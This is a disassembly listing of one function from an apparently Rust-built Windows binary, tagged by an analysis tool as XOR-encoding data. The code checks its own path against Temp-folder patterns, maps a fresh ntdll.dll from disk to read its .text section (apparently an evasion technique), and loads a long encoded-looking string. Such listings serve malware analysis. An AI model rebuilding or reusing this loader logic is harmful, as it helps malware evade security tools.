Function at 0x1400032d0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x438
movdqa xmmword [rsp + 0x420], xmm6
lea rax, str._n
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
lea rax, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
mov qword [rsp + 0x1c0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1c8], xmm0
lea rcx, [rsp + 0x1b0]
call dbg._print
lea rcx, [rsp + 0x368]
call sym.std::env::current_exe::hb3c4df64f7bdcacb
cmp byte [rsp + 0x380], 2
je 0x14000400b
movups xmm0, xmmword [rsp + 0x368]
movups xmm1, xmmword [rsp + 0x378]
movaps xmmword [rsp + 0x3e0], xmm1
movaps xmmword [rsp + 0x3d0], xmm0
lea rcx, [rsp + 0x3d0]
call dbg.as_mut_slice
mov r8, rdx
lea rcx, [rsp + 0x1b0]
mov rdx, rax
call dbg.try_from
xor esi, esi
cmp qword [rsp + 0x1b0], 0
mov rdi, qword [rsp + 0x1b8]
cmove rsi, qword [rsp + 0x1c0]
lea rax, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
cmovne rdi, rax
mov rax, qword [0x14037ba78]
movzx eax, byte [rax]
mov ecx, 0x40
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x1400052ef
mov r15, rax
lea rdx, [0x1402c1b30]
lea rcx, [rsp + 0x1b0]
mov r8d, 0xd
call sym.regex::regex::string::Regex::new::h50de13686a90d9bf
cmp qword [rsp + 0x1b0], 0
je 0x140005303
movups xmm0, xmmword [rsp + 0x1b0]
movups xmm1, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rdx, str.C:Users.AppDataLocalTemp11111_
lea rcx, [rsp + 0x1b0]
mov r8d, 0x2b
call sym.regex::regex::string::Regex::new::h50de13686a90d9bf
cmp qword [rsp + 0x1b0], 0
je 0x140005354
movups xmm0, xmmword [rsp + 0x1b0]
movups xmm1, xmmword [rsp + 0x1c0]
movups xmmword [r15 + 0x30], xmm1
movups xmmword [r15 + 0x20], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
mov rax, r15
add rax, 0x40
mov qword [rsp + 0x388], r15
mov qword [rsp + 0x390], 2
mov qword [rsp + 0x3a0], rax
lea r14, [rsp + 0x3b0]
nop word cs:[rax + rax]
lea rax, [r15 + 0x20]
mov qword [rsp + 0x398], rax
mov rax, qword [r15]
mov rcx, qword [r15 + 0x18]
mov qword [rsp + 0x400], rcx
movups xmm0, xmmword [r15 + 8]
movaps xmmword [rsp + 0x3f0], xmm0
test rax, rax
je 0x140003fd4
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x400]
mov qword [r14 + 0x10], rax
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [r14], xmm0
lea rcx, [rsp + 0x90]
mov rdx, rdi
mov r8, rsi
call dbg.canonicalize
cmp byte [rsp + 0xa8], 2
je 0x140003ed3
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call dbg.as_mut_slice
mov r8, rdx
lea rcx, [rsp + 0x1b0]
mov rdx, rax
call dbg.try_from
cmp qword [rsp + 0x1b0], 0
mov r13, qword [rsp + 0x1c0]
mov eax, 0
cmovne r13, rax
mov rax, qword [rsp + 0x1b8]
lea rcx, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
cmovne rax, rcx
mov rbx, qword [rsp + 0x3a8]
mov r15, qword [rsp + 0x3b0]
mov dword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], r13
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], r13
mov byte [rsp + 0xd8], 1
lea r12, [rbx + 0x20]
mov rcx, r12
call sym.regex_automata::meta::regex::RegexInfo::props_union::h8ce6ab1eb02ae5cc
mov rax, qword [rax]
cmp qword [rax], 0
je 0x140003630
cmp qword [rax + 8], r13
ja 0x140003eaf
mov rcx, r12
call sym.regex_automata::meta::regex::RegexInfo::props_union::h8ce6ab1eb02ae5cc
mov rax, qword [rax]
test byte [rax + 0x3c], 1
je 0x140003630
mov rcx, r12
call sym.regex_automata::meta::regex::RegexInfo::props_union::h8ce6ab1eb02ae5cc
mov rax, qword [rax]
test byte [rax + 0x40], 2
je 0x140003630
mov rcx, r12
call sym.regex_automata::meta::regex::RegexInfo::props_union::h8ce6ab1eb02ae5cc
mov rax, qword [rax]
cmp qword [rax + 0x10], 0
je 0x140003630
cmp qword [rax + 0x18], r13
jb 0x140003eaf
nop dword [rax]
xor ecx, ecx
call sym.regex_automata::util::pool::inner::THREAD_ID::__getit::hde7b8823fdae18a7
test rax, rax
je 0x140004ca0
mov r8, qword [rax]
mov r9, qword [r15 + 0x28]
cmp r8, r9
jne 0x14000367a
mov qword [r15 + 0x28], 1
mov qword [rsp + 0x1c0], r15
mov qword [rsp + 0x1b0], 1
mov qword [rsp + 0x1b8], r8
mov byte [rsp + 0x1c8], 0
jmp 0x14000368a
lea rcx, [rsp + 0x1b0]
mov rdx, r15
call sym.regex_automata::util::pool::inner::Pool_T_F_::get_slow::hc70283032b9bcfea
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x1c0]
mov qword [rsp + 0x40], rdx
movzx edx, byte [rsp + 0x1c8]
mov byte [rsp + 0x48], dl
mov edx, dword [rsp + 0x1c9]
mov dword [rsp + 0x49], edx
movzx edx, word [rsp + 0x1cd]
mov word [rsp + 0x4d], dx
movzx edx, byte [rsp + 0x1cf]
mov byte [rsp + 0x4f], dl
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbx + 0x10]
mov rax, qword [rbx + 0x18]
mov rdx, qword [rax + 0x10]
mov r15, qword [rsp + 0x30]
test r15, r15
je 0x140003702
mov r8, qword [rsp + 0x40]
add r8, 0x30
jmp 0x140003707
mov r8, qword [rsp + 0x38]
dec rdx
and rdx, 0xfffffffffffffff0
add rdx, rcx
add rdx, 0x10
lea rcx, [rsp + 0x408]
lea r9, [rsp + 0xb0]
call qword [rax + 0x70]
mov r13, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
test r15, r15
je 0x140003752
mov qword [rsp + 0x3c8], r13
cmp r13, 2
je 0x140004cdd
mov qword [rbx + 0x28], r13
jmp 0x140003ea0
cmp byte [rsp + 0x48], 0
je 0x140003779
mov rcx, r13
call fcn.1400028a0
mov edx, 0x578
mov r8d, 8
mov rcx, r13
call sym.__rust_dealloc
jmp 0x140003ea0
xor ecx, ecx
call sym.regex_automata::util::pool::inner::THREAD_ID::__getit::hde7b8823fdae18a7
test rax, rax
je 0x1400053e9
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140004bf1
mov rax, qword [rax]
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x1400037af
xor edx, edx
div rcx
mov r15, rdx
jmp 0x1400037b6
xor edx, edx
div ecx
mov r15d, edx
mov qword [rsp + 0x60], r15
shl r15, 6
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003836
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x1400037f9
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x1400037fc
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x14000390f
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x1400038bf
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003882
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003885
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x1400039cf
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x14000397f
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003942
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003945
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x14000382e
call dbg.is_zero_slow_path
test al, al
jne 0x14000382e
mov byte [rbp + 8], 1
jmp 0x14000382e
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003a8f
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003a3f
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003a02
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003a05
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x1400038b7
call dbg.is_zero_slow_path
test al, al
jne 0x1400038b7
mov byte [rbp + 8], 1
jmp 0x1400038b7
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003b4f
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003aff
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003ac2
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003ac5
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003977
call dbg.is_zero_slow_path
test al, al
jne 0x140003977
mov byte [rbp + 8], 1
jmp 0x140003977
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003c0f
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003bbf
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003b82
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003b85
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003a37
call dbg.is_zero_slow_path
test al, al
jne 0x140003a37
mov byte [rbp + 8], 1
jmp 0x140003a37
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003ccf
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003c7f
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003c42
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003c45
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003af7
call dbg.is_zero_slow_path
test al, al
jne 0x140003af7
mov byte [rbp + 8], 1
jmp 0x140003af7
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003d8f
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003d3f
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003d02
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003d05
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003bb7
call dbg.is_zero_slow_path
test al, al
jne 0x140003bb7
mov byte [rbp + 8], 1
jmp 0x140003bb7
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003f3b
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
mov rbp, qword [rbx + 0x10]
add rbp, r15
mov rcx, rbp
call sub.kernel32.dll_TryAcquireSRWLockExclusive
test al, al
je 0x140003dfb
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003dc2
call dbg.is_zero_slow_path
mov r12d, eax
xor r12b, 1
jmp 0x140003dc5
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003c77
call dbg.is_zero_slow_path
test al, al
jne 0x140003c77
mov byte [rbp + 8], 1
jmp 0x140003c77
xor r12d, r12d
movzx eax, byte [rbp + 8]
xor ecx, ecx
test al, al
setne cl
mov qword [rsp + 0x1b8], rbp
mov byte [rsp + 0x1c0], r12b
mov qword [rsp + 0x1b0], rcx
je 0x140003e61
test r12b, r12b
je 0x140003f6e
mov rcx, rbp
call fcn.140268514
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x60]
cmp rcx, rdx
jae 0x140004bc3
add r15, qword [rbx + 0x10]
lea rcx, [rsp + 0x1b0]
mov rdx, r15
call sym.std::sync::mutex::Mutex_T_::try_lock::h98823896adbc3ba2
cmp qword [rsp + 0x1b0], 0
movzx r12d, byte [rsp + 0x1c0]
mov rbp, qword [rsp + 0x1b8]
je 0x140003e61
cmp r12b, 2
je 0x140003e54
test r12b, r12b
je 0x140003fa1
mov rcx, rbp
call fcn.140268514
mov rcx, r13
call fcn.1400028a0
jmp 0x140003761
mov rdx, qword [rbp + 0x20]
cmp rdx, qword [rbp + 0x18]
jne 0x140003e78
lea rcx, [rbp + 0x10]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h2648337ae4066422
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov qword [rax + rdx*8], r13
inc qword [rbp + 0x20]
test r12b, r12b
je 0x140003f08
mov rcx, rbp
call fcn.140268514
nop word cs:[rax + rax]
cmp qword [rsp + 0x408], 0
jne 0x140004cd1
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x140003ec9
mov rcx, qword [rsp + 0x70]
mov r8d, 1
call sym.__rust_dealloc
cmp byte [rsp + 0xa8], 2
jne 0x140003ee0
lea rcx, [rsp + 0x90]
call sym.core::ptr::drop_in_place_core::result::Result_std::path::PathBuf_std::io::error::Error__::h50e1b89dae74e382
lea rcx, [rsp + 0x3a8]
call sym.core::ptr::drop_in_place_regex::regex::string::Regex_::hda0a9f573ac4f140
mov r15, qword [rsp + 0x398]
cmp r15, qword [rsp + 0x3a0]
jne 0x1400034b0
jmp 0x140003fd4
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003e89
call dbg.is_zero_slow_path
test al, al
jne 0x140003e89
mov byte [rbp + 8], 1
jmp 0x140003e89
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003d37
call dbg.is_zero_slow_path
test al, al
jne 0x140003d37
mov byte [rbp + 8], 1
jmp 0x140003d37
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003df3
call dbg.is_zero_slow_path
test al, al
jne 0x140003df3
mov byte [rbp + 8], 1
jmp 0x140003df3
mov rax, qword [0x14026a558]
mov rax, qword [rax]
movabs rcx, 0x7fffffffffffffff
test rax, rcx
je 0x140003e4c
call dbg.is_zero_slow_path
test al, al
jne 0x140003e4c
mov byte [rbp + 8], 1
jmp 0x140003e4c
lea rcx, [rsp + 0x388]
call sym.__alloc::vec::into_iter::IntoIter_T_A__as_core::ops::drop::Drop_::drop::he351b67176f3c211
mov rdx, qword [rsp + 0x3d8]
test rdx, rdx
je 0x140004001
mov rcx, qword [rsp + 0x3d0]
mov r8d, 1
call sym.__rust_dealloc
cmp byte [rsp + 0x380], 2
jne 0x140004018
lea rcx, [rsp + 0x368]
call sym.core::ptr::drop_in_place_core::result::Result_std::path::PathBuf_std::io::error::Error__::h50e1b89dae74e382
lea rcx, [0x1402c1be0]
call sym.windows::core::strings::pcwstr::PCWSTR::from_raw::h63f442f0f65bf561
mov rsi, rax
lea rcx, [0x1402c1bf8]
call sym.windows::core::strings::pcwstr::PCWSTR::from_raw::h63f442f0f65bf561
mov rdi, rax
mov ecx, 0x10
xor edx, edx
call sym._ZN100__LT_windows..Windows..Win32..UI..WindowsAndMessaging..DI_FLAGS_u20_as_u20_core..ops..bit..BitOr_GT_5bitor17hc06ff156075
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
mov r9d, eax
call sub.user32.dll_MessageBoxW
call sym.winproc::process::Process::current::h27b0019d32639f03
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
call sym.winproc::process::Process::module_list::h4399e915b8b3f11b
cmp dword [rsp + 0xb0], 4
jne 0x140004d18
mov rdi, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
mov rsi, qword [rsp + 0xc8]
test rsi, rsi
je 0x1400041c9
shl rsi, 4
xor ebx, ebx
movabs r14, 0x6c642e6c6c64746e
nop word cs:[rax + rax]
movups xmm0, xmmword [rdi + rbx]
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x30]
call sym.winproc::process::module::Module::name::hea52db4e287c115e
cmp dword [rsp + 0xb0], 4
jne 0x140004c2b
mov r13, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xc8]
lea rcx, [rsp + 0x1b0]
mov rdx, r13
call dbg.to_lowercase
mov rax, qword [0x14037ba78]
movzx eax, byte [rax]
mov ecx, 9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x140004c8c
mov qword [rax], r14
mov byte [rax + 8], 0x6c
mov rbp, qword [rsp + 0x1b0]
cmp qword [rsp + 0x1c0], 9
jne 0x140004170
mov rcx, qword [rbp]
xor rcx, qword [rax]
movzx edx, byte [rbp + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
sete r15b
jmp 0x140004173
xor r15d, r15d
mov edx, 9
mov r8d, 1
mov rcx, rax
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x1b8]
test rdx, rdx
je 0x1400041a1
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
test r12, r12
je 0x1400041b7
mov r8d, 1
mov rcx, r13
mov rdx, r12
call sym.__rust_dealloc
test r15b, r15b
jne 0x1400041f3
add rbx, 0x10
cmp rsi, rbx
jne 0x1400040c0
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x1400041e5
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0x70]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::h9e9cb875ffd6e111
xor ebx, ebx
jmp 0x140004226
lea rcx, [rsp + 0x30]
call sym.winproc::process::module::Module::handle::h7c5b27b32f39d782
mov rbx, rax
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14000421c
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0x70]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::h9e9cb875ffd6e111
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rsp + 0x1b0]
mov r8d, 0x1d
call sym.pelite::mmap::windows::ImageMap::_open::h55e1bd4c9a3cad90
cmp qword [rsp + 0x1b0], 0
je 0x1400042ae
mov rax, qword [rsp + 0x1b8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400043ba
test rcx, rcx
je 0x1400043ba
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rdi
call qword [r14]
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x140004296
mov r8, qword [r14 + 0x10]
mov rcx, rdi
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
jmp 0x1400043ba
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0xb0]
call sym.__pelite::mmap::windows::FileMap_as_core::convert::AsRef__u8___::as_ref::hef3564d5c6513a2f
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call sym.pelite::pe64::pe::validate_headers::hd86279a37377e579
test al, 1
jne 0x140005399
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x30]
call sym.__pelite::pe32::file::PeFile_as_pelite::pe32::pe::PeObject_::image::h0353d8a36721a0fd
mov rcx, rax
call sym.pelite::pe32::pe::section_headers::h675fa36c189b52c9
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop word cs:[rax + rax]
test rcx, rcx
je 0x140004c0e
lea r14, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r14
jne 0x140004330
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x30]
call sym.__pelite::pe32::file::PeFile_as_pelite::pe32::pe::PeObject_::image::h0353d8a36721a0fd
mov rdi, rax
mov r15, rdx
lea rsi, [rsp + 0x30]
mov rcx, rsi
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::align::h9dd7c8853ef8167f
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x70]
mov rdx, rdi
mov r8, r15
mov r9, r14
call sym.pelite::wrap::pe::get_section_bytes::he7b135662cb46e8d
cmp qword [rsp + 0x70], 0
je 0x1400053b7
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
add rbx, rcx
mov qword [0x1403b8040], rax
mov qword [0x1403b8048], rbx
lea rcx, [rsp + 0xb0]
call sym.__pelite::mmap::windows::FileMap_as_core::ops::drop::Drop_::drop::h0c626e6063ddd3d7
lea rax, [0x1403b8048]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::LowerHex_for_i64_::fmt::h251acec7289bd7f2]
mov qword [rsp + 0x38], rax
lea rax, [0x1402c1c20]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
mov qword [rsp + 0x1d0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x1b0]
call dbg.format_inner
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xb8]
mov rbx, qword [0x1403b8040]
test rbx, rbx
je 0x140004493
mov rax, rbx
shr rax, 0x3d
jne 0x1400052e5
shl rbx, 2
test rbx, rbx
je 0x140004480
mov edx, 4
mov rcx, rbx
call sym.__rust_alloc_zeroed
mov rcx, rax
test rax, rax
jne 0x140004485
mov ecx, 4
mov rdx, rbx
call dbg.handle_alloc_error
jmp 0x140005415
mov ecx, 4
mov r8d, 4
mov rdx, rbx
call sym.__rust_dealloc
test rsi, rsi
je 0x1400044a9
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
lea rdx, str.yq_cSGEI3UgMIiWfdvlGtrygkr1LzovikNIF6NXb3wEYyxBjyQbe9mBjsCjUCrIrU0tmt0yOExNVYITHOph3EYq2dj87SJ6_pGYwCn6xBPbWmRs9uQeHPuPjrfGlGM1EfocQHs6TrvcXMww1QDgH4IlgtGbwfoWR_i8Y6mLHpPbc4Cjk1h_2xzBj227HiGUj2LjmUfuumNlfwUiCXDUNBq1DZWnH44dX9UG6mcxrQec7JSkCAQ6d1J1AY5zxSdJQhrpLHK2V5ZrZGV_f1ZCpO2vZdw1WdYBeEwWhtxjd5tRl74xePy47UfKDRZIUGRp5kdXzPT5WfR9D9NqMeckz9HlzetsNvysFB8JzMTTj5r7fpDLIvVzzOkCiz_e8NvCVC85s5cBlUQb6Lp1nn7VwUhvZE5zkm2OctYlkTqd7VjTWpzqS1jDxTYwyoJwKQi3_vuf8w_n0ZaU5RiEOIvEa5o2SeerFxYl0krIuvltwPdcyf5XpfBJWHnKhq6aXDR5nxN6nn__WwNswksyhPbklYlX7ukE2WsczbMeqJRTBG4W_lIFtgBlM_PIKiWObjDKU9y8OKMMNzSDXY2mD_t6LuoIkPwhKVQ_8mhMHO387YX8C5y0fNledZs99tfo0GwsPLTgyFKDDbIK9WInbxEYCvkpRklJx2OAzym_uoMd3bV5idfKAG6omivJHUKoaKLw8XHT2zQc6OcutW6zYCenv5kQTP75oPfv25Jm1QijZO1lVQG7UVeAdLHj6jbjNeeh0XcPB9iTxghtRCYvV9Rh7fCSAxcuGsHQVmukB4m0nwYznFgkgz9yCz1uV9QIIIlDyP9aNs09k9yypW0rZ6JhyJjlvASPKRwUJ0Hq0nzRRbF4yY3ZQvgi2JVigVzbAnUkqc7uXjPaCXpS4MUWya7p5QnKpMjaQsCzfnNo3siPnFtn4c0cbTpvT3qtWLwneY1iJU0uUNLKTQ40Omv0ZIwuk6pfxF2tr0qq7Hvjgs2vwWyclgKgJyVzvgRqXHSdlAjGOXcvrzQhPcG2HOJiz5_T8TktDqSJ98tb2q15WZfKsMxsEDLMP7rRNEnkIMs77ivJLQ0wfbuply0lEH99u6T51Z1YrBEppjgrEDdGqJvvlGzTSS1xAVEauXgSooftZXOHNaMcNtnu1PtQ8pLfj_J5zxePEvfGdW7LcMOYsFeh5Hpep_gmRkAORVLo81e8FxUS4tOCqo4qeonkDnbMFe7FCyWC44FVLFybOeERtRpzr3qS9Bma4f6ZfSuN0y7Pxqygrnl2V0XPO8pOQOMd8rko_54gCu7HovXz7IT5MeFNwuUL3tf3Lp_sglwAMC2wYMHByE0apf5h0SNVgjYSdwqL2v7xeCuYjqf5w2qxcyUD6r8h7NOk1QRFTK3IghdJlTvrqUpBy5GHSkPL1vGLfoUKqvRaeWRW6YAI5vGUg8rENjOp3Aq320Y5RzMOccbpwgC36bNXDWuUswFZDd0ztburja45_p53biVFgGqtDGIX_L0HnCYPblWEOLSky8gXNuiDcRZKiLetNtBCBiRbTObDnWgVMozuczxZpgxiiepo8SqnYuFT1